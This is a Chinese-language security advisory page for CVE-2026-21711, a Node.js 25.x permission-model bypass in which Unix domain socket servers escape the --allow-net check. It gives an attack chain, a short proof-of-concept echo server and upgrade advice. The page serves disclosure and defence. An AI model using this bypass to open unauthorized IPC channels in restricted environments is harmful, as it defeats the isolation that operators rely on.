IPBUF安全漏洞报告
English
CVE-2026-21711 CVSS 5.3 中危

CVE-2026-21711 Node.js权限模型绕过漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-21711
漏洞类型
权限绕过
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Node.js

相关标签

权限绕过Node.js本地攻击Unix Domain Socket

漏洞概述

Node.js 25.x版本的权限模型存在安全缺陷,未能对Unix域套接字(UDS)服务器操作执行必要的权限检查。攻击者可利用此漏洞,在未授予`--allow-net`权限的情况下,创建并暴露本地IPC端点,从而绕过预期的网络限制边界,实现与同一主机上其他进程的未授权通信。

技术细节

该漏洞源于Node.js权限模型在网络强制实施方面的逻辑缺陷。在启用`--permission`模式时,系统本应严格检查所有网络相关操作。然而,Unix Domain Socket (UDS)服务器操作的权限检查机制存在遗漏,导致其未受`--allow-net`标志的约束。攻击者只需编写Node.js代码创建UDS服务器(如使用`net.createServer`绑定到文件路径),并在运行时仅启用`--permission`而不提供`--allow-net`参数。由于权限校验缺失,代码将成功创建监听端点,允许同一主机上的其他进程连接并交换数据。这使得受限进程能够突破网络边界,建立未授权的IPC通信通道,进而可能窃取数据或横向移动到宿主机上的其他敏感服务。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在目标主机上准备Node.js环境,并针对受影响版本(Node.js 25.x)编写恶意脚本。
STEP 2
步骤2:权限绕过
攻击者运行带有`--permission`参数但省略`--allow-net`的脚本,利用漏洞创建Unix Domain Socket服务器。
STEP 3
步骤3:建立通信
脚本成功监听本地套接字,攻击者通过该端点与其他受限进程进行通信,绕过网络隔离限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const net = require('net'); const fs = require('fs'); // Define the socket path const socketPath = '/tmp/cve_2026_21711.sock'; // Clean up if the socket file already exists if (fs.existsSync(socketPath)) { fs.unlinkSync(socketPath); } // Create a Unix Domain Socket server const server = net.createServer((socket) => { console.log('Client connected to UDS'); socket.on('data', (data) => { console.log('Received data:', data.toString()); }); socket.write('ECHO: Connection established'); }); // Start listening server.listen(socketPath, () => { console.log(`Server listening on ${socketPath}`); }); /* Usage: Run the script with the permission flag but without allowing network access. Command: node --permission test.js Expected Result: Server starts successfully despite lacking --allow-net. */

影响范围

Node.js 25.x

防御指南

临时缓解措施
建议立即升级到修复了此漏洞的Node.js版本。如果暂时无法升级,应评估系统风险,避免在不可信环境中运行启用了`--permission`的Node.js进程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表